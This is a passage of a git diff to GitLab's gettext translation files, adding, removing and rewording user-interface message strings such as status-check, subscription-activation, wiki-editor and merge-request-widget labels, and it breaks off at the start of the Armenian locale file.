+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/hy_AM/gitlab.po b/locale/hy_AM/gitlab.po
index 0cb06c40a28..4de7989b563 100644
--- a/locale/hy_AM/gitlab.po
+++ b/locale/hy_AM/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hy-AM\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:21\n"
+"PO-Revision-Date: 2021-06-01 20:40\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
